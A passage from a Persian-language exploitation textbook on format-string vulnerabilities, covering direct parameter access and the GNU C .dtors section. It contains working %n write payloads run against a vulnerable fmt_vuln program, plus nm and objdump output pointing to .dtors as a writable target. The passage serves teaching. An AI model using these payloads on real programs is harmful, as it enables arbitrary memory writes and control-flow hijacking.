‫ﺣﺮﮐﺖ ﮐﺮد‪ .‬ﺑﻌﻼوه ﻣﺎﻫﯿﺖ ﻣﺘﻮاﻟﯽ ﺑﻮدن در اﯾﻦ وﺿﻌﯿﺖ‪ ،‬ﻧﯿﺎز ﺑﻪ ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ ‪ junk‬را ﺿﺮوری ﻣﯽ ﺳﺎﺧﺖ ﺗﺎ ﺑﻪ اﯾﻦ‬
‫ﺻﻮرت ﺑﺘﻮان ﯾﮏ آدرس ﮐﺎﻣﻞ را در ﯾﮏ ﻣﺤﻞ دﻟﺨﻮاه ﺣﺎﻓﻈﻪ ﻧﻮﺷﺖ‪.‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم اﯾﻦ روش ﺑﺮ اﯾﻦ ﻣﺴﺌﻠﻪ دﻻﻟﺖ ﻣـﯽ ﮐﻨـﺪ‪ ،‬دﺳـﺘﯿﺎﺑﯽ ﻣـﺴﺘﯿﻢ ﭘـﺎراﻣﺘﺮ )‪(direct parameter access‬‬
‫اﻣﮑﺎن دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﺑﻪ ﭘﺎراﻣﺘﺮﻫﺎ را ﺑﺎ اﺳﺘﻔﺎده از ﻋﻼﻣﺖ ﺗﻮﺻـﯿﻔﯽ دﻻر )‪ ($‬ﻓـﺮاﻫﻢ ﻣـﯽ ﺳـﺎزد‪ .‬ﺑـﺮای ﻣﺜـﺎل ﻋﺒـﺎرت‬
‫‪ %N$d‬ﺳﺒﺐ دﺳﺘﯿﺎﺑﯽ ﺑﻪ ‪ N‬اﻣﯿﻦ ﭘﺎراﻣﺘﺮ و ﻧﻤﺎﯾﺶ آن ﺑﻪ ﺻﻮرت ﯾﮏ ﻋﺪد ﻣﺒﻨﺎی ده ﻣﯽ ﺷﻮد‪.‬‬
‫;)‪printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80‬‬
‫ﺧﺮوﺟﯽ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )(‪ printf‬ﻓﻮق ﺑﻪ ﺻﻮرت زﯾﺮ اﺳﺖ‪:‬‬
‫‪7th: 70, 4th: 00040‬‬
‫اﺑﺘﺪا ﺑﻬﻨﮕﺎم ﺑﺮﺧﻮرد ﺑﺎ ‪ ،%7$d‬ﭼﻮن ﭘﺎراﻣﺘﺮ ﻫﻔﺘﻢ ﺑﺮاﺑﺮ ﺑﺎ ‪ 70‬اﺳﺖ‪ ،‬ﻟﺬا ﻣﻘﺪار ‪ 70‬ﺑﻪ ﺻـﻮرت ﯾـﮏ ﻋـﺪد ﻣﺒﻨـﺎی ده ﺑـﻪ‬
‫ﺧﺮوﺟﯽ ﻣﯽ رود‪ .‬ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ دوم ﺑﻪ ﭘﺎراﻣﺘﺮ ﭼﻬﺎرم دﺳﺘﺮﺳﯽ ﻣﯽ ﯾﺎﺑﺪ و ﻣﻘﺪار ﻃﻮل ﻣﯿﺪان آن ﻧﯿﺰ ‪ 05‬اﺳﺖ‪ .‬ﺑﻪ دﯾﮕﺮ‬
‫آرﮔﻮﻣﺎن ﭘﺎراﻣﺘﺮی ﻧﯿﺰ دﺳﺖ ﯾﺎﺑﯽ ﻧﮕﺮدﯾﺪه اﺳﺖ‪ .‬اﯾﻦ روش در دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﺑﻪ ﭘﺎراﻣﺘﺮ‪ ،‬ﻧﯿﺎز ﺑﻪ ﺣﺮﮐﺖ در ﺣﺎﻓﻈـﻪ‬
‫ﺗﺎ رﺳﯿﺪن ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ را از ﺑﯿﻦ ﻣﯽ ﺑﺮد‪ ،‬ﭼﺮا ﮐﻪ ﻣﯽ ﺗﻮان ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﺣﺎﻓﻈﻪ دﺳﺘﺮﺳﯽ ﯾﺎﻓـﺖ‪ .‬ﺧﺮوﺟـﯽ زﯾـﺮ‬
‫ﮐﺎرﺑﺮد دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ را ﻧﺸﺎن ﻣﯽ دﻫﺪ‪.‬‬
‫‪$ ./fmt_vuln AAAA%x.%x.%x.%x‬‬
‫‪The right way:‬‬
‫‪AAAA%x.%x.%x.%x‬‬
‫‪The wrong way:‬‬
‫‪AAAAbffff5a0.3e8.3e8.41414141‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$ ./fmt_vuln AAAA%4\$x‬‬
‫‪The right way:‬‬
‫‪AAAA%4$x‬‬
‫‪The wrong way:‬‬
‫‪AAAA41414141‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫در اﯾﻦ ﻣﺜﺎل اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ در ﭼﻬﺎرﻣﯿﻦ آرﮔﻮﻣﺎن ﭘـﺎراﻣﺘﺮی ﺗﻌﯿـﯿﻦ ﻣﺤـﻞ ﺷـﺪه اﺳـﺖ‪ .‬ﻟـﺬا ﺑـﻪ ﺟـﺎی اﺳـﺘﻔﺎده از‬
‫ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ‪ %x‬ﺟﻬﺖ ﺣﺮﮐﺖ در ﺳﻪ آرﮔﻮﻣﺎن ﭘﺎراﻣﺘﺮی ﻧﺨﺴﺖ‪ ،‬ﻣﯽ ﺗﻮان ﺑﻪ اﯾـﻦ ﺣﺎﻓﻈـﻪ )از ﻃﺮﯾـﻖ ﭼﻬـﺎرﻣﯿﻦ‬
‫آرﮔﻮﻣﺎن( ﻣﺴﺘﻘﯿﻤﺎ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ‪ .‬اﻣﺎ ﭼﻮن در ﺣﺎل ﺣﺎﺿﺮ اﯾﻦ ﻋﻤﻠﯿﺎت را ﺑـﺮ روی ﺧـﻂ ﻓﺮﻣـﺎن اﻧﺠـﺎم ﻣـﯽ دﻫـﯿﻢ ﮐـﻪ‬
‫ﮐﺎراﮐﺘﺮ دﻻر در آن ﺑﻪ ﻋﻨﻮان ﯾﮏ ﮐﺎراﮐﺘﺮ وﯾﮋه ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر ﻃﺮﻓﻨﻈﺮ از ﻋﻤﻠﮑﺮد وﯾﮋه اﯾـﻦ ﮐـﺎراﮐﺘﺮ‬
‫ﺑﺎﯾﺪ در ﺧﻂ ﻓﺮﻣﺎن از ﯾﮏ ﮐﺎراﮐﺘﺮ ‪ ( \ ) Backslash‬اﺳﺘﻔﺎده ﮐﻨﯿﻢ‪ .‬رﺷﺘﻪ ﻓﺮﻣﺖ اﺻﻠﯽ را در زﻣﺎن ﭼـﺎپ ﺷـﺪن ﺻـﺤﯿﺢ‬
‫آن ﺧﻮاﻫﯿﺪ دﯾﺪ‪.‬‬
‫دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ‪ ،‬ﻧﻮﺷﺘﻦ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ را ﻧﯿﺰ ﺗﺴﻬﯿﻞ ﻣﯽ ﮐﻨﺪ‪ .‬ﭼﻮن ﻣﯽ ﺗﻮان ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﺣﺎﻓﻈﻪ دﺳﺘﺮﺳﯽ‬
‫ﯾﺎﻓﺖ‪ ،‬ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر اﻓﺰاﯾﺶ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﺧﺮوﺟﯽ ﻧﯿـﺎزی ﺑـﻪ داده ﻫـﺎی ‪ junk‬ﺑـﻪ ﻋﻨـﻮان ﺟﺪاﮐﻨﻨـﺪه ﻫـﺎی ‪ 4‬ﺑـﺎﯾﺘﯽ‬
‫‪62‬‬
‫ ﮐﻪ ﻣﻌﻤﻮﻻ ﺑﺮای اﯾﻦ ﻫﺪف ﺑﻪ ﮐﺎر ﻣﯽ رود ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﻮر ﻣـﺴﺘﻘﯿﻢ ﺑـﻪ ﯾـﮏ‬%x ‫ ﻫﺮ ﯾﮏ از ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ‬.‫ﻧﯿﺴﺖ‬
‫ ﺻﺮف ﺗﻤﺮﯾﻦ ﺑﺎ اﺳﺘﻔﺎده از دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮﺳﻌﯽ ﺑﺮ‬.‫ﻧﺎﺣﯿﻪ ﺣﺎﻓﻈﻪ ای ﻣﻮﺟﻮد در ﻗﺒﻞ از رﺷﺘﻪ ﻓﺮﻣﺖ دﺳﺖ ﯾﺎﺑﺪ‬
.‫ ﻣﯽ ﮐﻨﯿﻢ‬test_val ‫ در ﻣﺘﻐﯿﺮ‬0xbffffd72 ‫ﻧﻮﺷﺘﻦ ﯾﮏ آدرس واﻗﻌﯽ ﺗﺮ )و ﻧﻪ آدرس ﻫﺎی ﺗﻤﺜﯿﻠﯽ( ﻣﺜﻞ‬
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$x%4\
$n
The right way:
%3$x%4$n
The wrong way:
3e8
[*] test_val @ 0x08049570 = 19 0x00000013
$ pcalc 0x72 - 16
98 0x62 0y1100010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n
The right way:
%3$98x%4$n
The wrong way:

3e8
[*] test_val @ 0x08049570 = 114 0x00000072
$
$ pcalc 0xfd - 0x72
139 0x8b 0y10001011
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$
139x%5\$n
The right way:
%3$98x%4$n%3$139x%5$n
The wrong way:

3e8

3e8
[*] test_val @ 0x08049570 = 64882 0x0000fd72
$
$ pcalc 0xff - 0xfd
2 0x2 0y10
$ pcalc 0x1ff - 0xfd
258 0x102 0y100000010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$
139x%5\$n%3\$258x%6\$n
The right way:
%3$98x%4$n%3$139x%5$n%3$258x%6$n
The wrong way:

3e8

3e8

3e8
[*] test_val @ 0x08049570 = 33553778 0x01fffd72
$
$ pcalc 0xbf - 0xff
-64 0xffffffc0 0y11111111111111111111111111000000
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$

63
‫‪139x%5\$n%3\$258x%6\$n%3\$192x%7\$n‬‬
‫‪The right way:‬‬
‫‪%3$98x%4$n%3$139x%5$n%3$258x%6$n%3$192x%7$n‬‬
‫‪The wrong way:‬‬

‫‪3e8‬‬

‫‪3e8‬‬

‫‪3e8‬‬
‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = -1073742478 0xbffffd72‬‬
‫‪$‬‬
‫واﺿﺢ اﺳﺖ ﮐﻪ دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ‪ ،‬ﻓﺮآﯾﻨﺪ ﻧﻮﺷﺘﻦ ﯾـﮏ آدرس را ﺗـﺴﻬﯿﻞ ﮐـﺮده و اﻧـﺪازه ﮐﻤﯿﻨـﻪ و ﺿـﺮوری در‬
‫رﺷﺘﻪ ﻓﺮﻣﺖ را ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ‪.‬‬
‫ﻗﺎﺑﻠﯿﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ ﺑﺮ ﻗﺎﺑﻠﯿﺖ ﮐﻨﺘـﺮل روﻧـﺪ اﺟﺮاﯾـﯽ ﺑﺮﻧﺎﻣـﻪ دﻻﻟـﺖ ﻣـﯽ ﮐﻨـﺪ‪ .‬ﯾـﮏ ﮔﺰﯾﻨـﻪ‪،‬‬
‫ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﺑﺮﮔﺸﺖ در ﺟﺪﯾﺪﺗﺮﯾﻦ ﻗﺎب ﭘﺸﺘﻪ اﺳﺖ )ﻫﻤﺎن ﮐﺎری ﮐﻪ در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑـﺮ ﭘـﺸﺘﻪ اﻧﺠـﺎم ﻣـﯽ‬
‫ﺷﺪ(‪ .‬اﮔﺮﭼﻪ اﯾﻦ راه ﺣﻞ ﻋﻤﻠﯽ و ﻣﻤﮑﻦ اﺳﺖ‪ ،‬اﻣﺎ ﻫﺪف ﻫﺎی دﯾﮕﺮ ﺑﺎ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ایِ ﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨـﯽ ﺗـﺮی ﻧﯿـﺰ‬
‫وﺟﻮد دارﻧﺪ‪ .‬ﻣﺎﻫﯿﺖ ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ﺗﻨﻬﺎ اﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﺑﺮﮔﺸﺖ را ﻓﺮاﻫﻢ ﻣـﯽ آورد‪ ،‬در ﺣﺎﻟﯿﮑـﻪ‬
‫در آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی رﺷﺘﻪ‪ -‬ﻓﺮﻣﺖ اﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ ﻫﺮ آدرس ﺣﺎﻓﻈـﻪ وﺟـﻮد دارد ﮐـﻪ در ﻧﺘﯿﺠـﻪ ﻣﻨﺠـﺮ ﺑـﻪ ﻇﻬـﻮر‬
‫اﺣﺘﻤﺎﻻت و ﺗﮑﻨﯿﮏ ﻫﺎی دﯾﮕﺮی ﻣﯽ ﮔﺮدد‪.‬‬

‫‪ .2,9,6‬ﺳﻮ اﺳﺘﻔﺎده از ﺑﺨﺶ ‪DTors‬‬

‫در ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﺑﺎ ﮐﺎﻣﭙﺎﯾﻠﺮ ‪ GNU C‬ﺑﺨﺶ ﻫﺎی ﺟﺪوﻟﻬﺎی ﺧﺎﺻﯽ ﺑﻪ ﻧﺎم ‪ .dtors‬و ‪ .ctors‬ﺑﻪ ﺗﺮﺗﯿﺐ ﺑـﺮای‬
‫ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه ﻫﺎ )‪ (destructor‬و ﺳﺎزﻧﺪه ﻫﺎ )‪ (constructor‬ﺳﺎﺧﺘﻪ ﻣﯽ ﺷـﻮﻧﺪ‪ .‬ﺗﻮاﺑـﻊ ﺳـﺎزﻧﺪه ﻗﺒـﻞ از اﺟـﺮای ﺗـﺎﺑﻊ‬
‫‪ main‬و ﺗﻮاﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه‪ ،‬درﺳﺖ ﺑﻌﺪ از ﺧﺮوج از ﺗﺎﺑﻊ ‪ main‬ﺑﺎ ﯾـﮏ ﻓﺮاﺧـﻮاﻧﯽ ﺳﯿـﺴﺘﻤﯽ ‪ ،exit‬اﺟـﺮا ﻣـﯽ ﺷـﻮﻧﺪ‪.‬‬
‫ﺗﻮاﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه و ﺑﺨﺶ ﺟﺪوﻟﯽِ ‪ .dtors‬ﺟﺬاﺑﯿﺖ ﺧﺎﺻﯽ دارﻧﺪ‪.‬‬
‫ﺑﺎ ﺗﻌﺮﯾﻒ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﻣﯽ ﺗﻮان ﯾﮏ ﺗﺎﺑﻊ را ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه اﻋﻼن ﮐﺮد‪ .‬در ﮐﺪ ﻧﻤﻮﻧـﻪ زﯾـﺮ‬
‫اﯾﻦ ﻣﺴﺌﻠﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪.‬‬
‫‪dtors_sample.c code‬‬
‫>‪#include <stdlib.h‬‬

‫;))‪static void cleanup(void) __attribute__ ((destructor‬‬

‫)(‪main‬‬
‫{‬
‫;)"‪printf("Some actions happen in the main() function..\n‬‬
‫;)"‪printf("and then when main() exits, the destructor is called..\n‬‬

‫;)‪exit(0‬‬
‫}‬

‫)‪void cleanup(void‬‬
‫{‬
‫;)"‪printf("In the cleanup function now..\n‬‬
‫}‬
‫در ﮐﺪ ﻧﻤﻮﻧﻪ ﺑﺎﻻ‪ ،‬ﺗﺎﺑﻊ )(‪ cleanup‬ﺑﻪ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﺗﻌﺮﯾﻒ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﭘﺲ از ﺧـﺮوج ﺗـﺎﺑﻊ ‪) main‬ﺟﻬـﺖ‬
‫ﺑﺎزﮔﺸﺖ ﺑﻪ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ(‪ ،‬اﯾﻦ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اﺟﺮا ﻣﯽ ﺷﻮد‪ .‬در زﯾﺮ اﯾﻦ ﻣﺴﺌﻠﻪ ﻣﺸﻬﻮد اﺳﺖ‪.‬‬
‫‪$ gcc -o dtors_sample dtors_sample.c‬‬
‫‪$ ./dtors_sample‬‬
‫‪Some actions happen in the main() function..‬‬
‫‪64‬‬
and then when main() exits, the destructor is called..
In the cleanup function now..
$
.‫ در ﺑـﺎﯾﻨﺮی ﮐﻨﺘـﺮل ﻣـﯽ ﺷـﻮد‬.dtors ِ‫( ﺑﺎ ﺑﺨﺶ ﺟﺪوﻟﯽ‬exit) ‫اﯾﻦ رﻓﺘﺎر ﯾﻌﻨﯽ اﺟﺮای ﺧﻮدﮐﺎر ﯾﮏ ﺗﺎﺑﻊ در زﻣﺎن ﺧﺮوج‬
‫ آراﯾـﻪ ﻫﻤﯿـﺸﻪ در آدرس‬.‫ ﺑﯿﺘﯽ اﺳﺖ ﮐﻪ ﺑﺎ ﯾـﮏ آدرس ﭘـﻮچ ﺧﺎﺗﻤـﻪ ﯾﺎﻓﺘـﻪ اﻧـﺪ‬32 ‫اﯾﻦ ﺑﺨﺶ آراﯾﻪ ای از آدرس ﻫﺎی‬
‫ آدرس ﻫـﺎی ﺗﻤـﺎم ﺗﻮاﺑـﻊ اﻋـﻼن‬،‫ ﮐﻪ ﺑﯿﻦ آﻧﻬـﺎ‬،‫ ﭘﺎﯾﺎن ﻣﯽ ﯾﺎﺑﺪ‬0x00000000 ‫ ﺷﺮوع ﺷﺪه و ﺑﺎ آدرس ﭘﻮچ‬0xffffffff
.‫ﺷﺪه ﺑﺎ ﺧﺎﺻﯿﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ وﺟﻮد دارﻧﺪ‬
‫ را ﺑـﻪ ﻣﻨﻈـﻮر ﺑﺮرﺳـﯽ ﺑﺨـﺶ ﻫـﺎی ﻣﺨﺘﻠـﻒ‬objdump ‫ و‬cleanup ‫ را ﺟﻬﺖ ﯾـﺎﻓﺘﻦ آدرس ﺗـﺎﺑﻊ‬nm ‫ﻣﯽ ﺗﻮان دﺳﺘﻮر‬
.‫ﺑﺎﯾﻨﺮی ﺑﮑﺎر ﺑﺮد‬
$ nm ./dtors_sample
080494d0 D _DYNAMIC
080495b0 D _GLOBAL_OFFSET_TABLE_
08048404 R _IO_stdin_used
w _Jv_RegisterClasses
0804959c d __CTOR_END__
08049598 d __CTOR_LIST__
080495a8 d __DTOR_END__
080495a0 d __DTOR_LIST__
080494cc d __EH_FRAME_BEGIN__
080494cc d __FRAME_END__
080495ac d __JCR_END__
080495ac d __JCR_LIST__
080495cc A __bss_start
080494c0 D __data_start
080483b0 t __do_global_ctors_aux
08048300 t __do_global_dtors_aux
080494c4 d __dso_handle
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
080495cc A _edata
080495d0 A _end
080483e0 T _fini
08048400 R _fp_hw
08048254 T _init
080482b0 T _start
080482d4 t call_gmon_start
0804839c t cleanup
080495cc b completed.1
080494c0 W data_start
U exit@@GLIBC_2.0
08048340 t frame_dummy
08048368 T main
080494c8 d p.0
U printf@@GLIBC_2.0
$ objdump -s -j .dtors ./dtors_sample

./dtors_sample: file format elf32-i386


Contents of section .dtors:
80495a0 ffffffff 9c830408 00000000 ............
$
‫ ﻫﻤﭽﻨﯿﻦ ﻧﺸﺎن ﻣـﯽ دﻫـﺪ ﮐـﻪ‬.‫ واﻗﻊ ﺷﺪه اﺳﺖ‬0x0804839c ‫ در آدرس‬cleanup ‫ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺗﺎﺑﻊ‬nm ‫دﺳﺘﻮر‬
‫ ﺑـﺎ‬0x080495a8‫__( ﺷـﺮوع و در آدرس‬DTOR_LIST__ ‫ )ﺑـﺎ ﺑﺮﭼـﺴﺐ‬0x080495a0 ‫ ﺑـﺎ آدرس‬.dtors ‫ﺑﺨﺶ‬
‫ ﺑﺮاﺑــﺮ ﺑــﺎ‬0x080495a0 ‫ در اﯾــﻦ ﺻــﻮرت ﺑﺎﯾــﺴﺘﯽ ﻣﻘــﺪار آدرس‬.‫__( ﺧﺎﺗﻤــﻪ ﻣــﯽ ﯾﺎﺑــﺪ‬DTOR_END__ ‫ﺑﺮﭼــﺴﺐ‬
‫ ﻫﻤﭽﻨﯿﻦ ﻣﻘﺪار آدرس ﻣﻮﺟﻮد در ﺑـﯿﻦ اﯾـﻦ‬،‫ ﺑﺎﺷﺪ‬0x00000000 ‫ ﺑﺮاﺑﺮ ﺑﺎ‬0x080495a8 ‫ و ﻣﻘﺪار آدرس‬0xffffffff
.‫( ﺑﺎﺷﺪ‬0x0804839c ‫ )ﯾﻌﻨﯽ‬cleanup ‫( ﺑﺎﯾﺪ ﺑﺮاﺑﺮ ﺑﺎ آدرس ﺗﺎﺑﻊ‬0x080495a4) ‫دو آدرس ﺷﺮوع و ﭘﺎﯾﺎن‬

65
‫ اﮔﺮﭼﻪ اﯾﻦ ﺧﺮوﺟﯽ ﻣﻤﮑﻦ اﺳﺖ اﻧﺪﮐﯽ ﮔﻤﺮاه‬،‫ را ﺑﻪ ﻧﻤﺎﯾﺶ ﻣﯽ ﮔﺬارد‬.dtors ‫ ﻣﺤﺘﻮای واﻗﻌﯽ ﺑﺨﺶ‬objdump ‫دﺳﺘﻮر‬
‫ را ﻧﺸﺎن داده اﺳـﺖ و ﭘـﺲ از آن ﻧﯿـﺰ ﺑﺎﯾـﺖ‬.dtors ‫ ﺑﻪ ﺳﺎدﮔﯽ ﻣﺤﻞ ﺷﺮوع ﺑﺨﺶ‬80495a0 ‫ ﻣﻘﺪار‬.‫ﮐﻨﻨﺪه ﺑﻪ ﻧﻈﺮ آﯾﺪ‬
‫ ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ اﯾﻦ دو ﻧﮑﺘﻪ ﻣـﯽ ﺗـﻮان‬.(‫ﻫﺎی ﺣﻘﯿﻘﯽ ﻧﻤﺎﯾﺶ داده ﺷﺪه اﻧﺪ )ﯾﻌﻨﯽ ﺑﺎﯾﺖ ﻫﺎ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ﻫﺴﺘﻨﺪ‬
.‫ﺑﺮ اﯾﻦ ﮔﻤﺮاه ﮐﻨﻨﺪﮔﯽ ﻓﺎﺋﻖ آﻣﺪ‬
‫ در ﺻﻮرت ﺑﺮرﺳﯽ ﻫـﺪرﻫﺎی ﺑﺮﻧﺎﻣـﻪ ﺑـﺎ‬.‫( آن اﺳﺖ‬writable) ‫ ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﺑﻮدن‬.dtors ‫ﻧﮑﺘﻪ و ﻣﻬﻢ ﺟﺎﻟﺐ ﺣﻮل ﺑﺨﺶ‬
.‫ ﺑﺮﭼﺴﺐ ﮔﺬاری ﻧﺸﺪه اﺳﺖ‬READONLY ‫ ﺑﺎ ﻋﻨﻮان‬.dtors ‫ ﺧﻮاﻫﯿﻢ دﯾﺪ ﮐﻪ ﺑﺨﺶ‬objdump
$ objdump -h ./dtors_sample

./dtors_sample: file format elf32-i386

Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 0000002c 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000060 08048154 08048154 00000154 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000051 080481b4 080481b4 000001b4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 0000000c 08048206 08048206 00000206 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000020 08048214 08048214 00000214 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000008 08048234 08048234 00000234 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000018 0804823c 0804823c 0000023c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000018 08048254 08048254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000040 0804826c 0804826c 0000026c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 00000130 080482b0 080482b0 000002b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001c 080483e0 080483e0 000003e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 000000c0 08048400 08048400 00000400 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .data 0000000c 080494c0 080494c0 000004c0 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 080494cc 080494cc 000004cc 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dynamic 000000c8 080494d0 080494d0 000004d0 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .ctors 00000008 08049598 08049598 00000598 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 0000000c 080495a0 080495a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 080495ac 080495ac 000005ac 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 0000001c 080495b0 080495b0 000005b0 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .bss 00000004 080495cc 080495cc 000005cc 2**2
ALLOC
22 .comment 00000060 00000000 00000000 000005cc 2**0
CONTENTS, READONLY
23 .debug_aranges 00000058 00000000 00000000 00000630 2**3
CONTENTS, READONLY, DEBUGGING
24 .debug_info 000000b4 00000000 00000000 00000688 2**0
CONTENTS, READONLY, DEBUGGING
66
‫‪25 .debug_abbrev 0000001c‬‬ ‫‪00000000 00000000 0000073c 2**0‬‬
‫‪CONTENTS,‬‬ ‫‪READONLY, DEBUGGING‬‬
‫‪26 .debug_line‬‬ ‫‪000000ff‬‬ ‫‪00000000 00000000 00000758 2**0‬‬
‫‪CONTENTS,‬‬ ‫‪READONLY, DEBUGGING‬‬
‫‪$‬‬
‫ﻧﮑﺘﻪ ﻣﻬﻢ دﯾﮕﺮ ﺣﻮل ﺑﺨﺶ ‪ .dtors‬اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﺑﺨﺶ در ﺗﻤﺎم ﺑﺎﯾﻨﺮی ﻫﺎی ﮐﺎﻣﭙﺎﯾـﻞ ﺷـﺪه ﺑـﺎ ﮐﺎﻣﭙـﺎﯾﻠﺮ ‪GNU C‬‬
‫ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ ،‬ﺻﺮف از اﯾﻨﮑﻪ آﯾﺎ ﺗﺎﺑﻌﯽ ﺑﺎ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ در آن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻌﺮﯾﻒ ﺷﺪه اﺳﺖ ﯾﺎ ﺧﯿـﺮ‪ .‬در اﯾـﻦ‬
‫ﺻﻮرت ﺑﺮﻧﺎﻣﻪ ‪) fmt_vuln‬ﮐﻪ ﯾﮏ آﺳﯿﺐ ﭘﺬﯾﺮی رﺷﺘﻪ‪-‬ﻓﺮﻣﺖ داﺷﺖ( ﻧﯿﺰ ﺑﺎﯾﺪ دارای ﯾﮏ ﺑﺨـﺶ ‪ .dtors‬وﻟـﯽ ﺑـﺪون‬
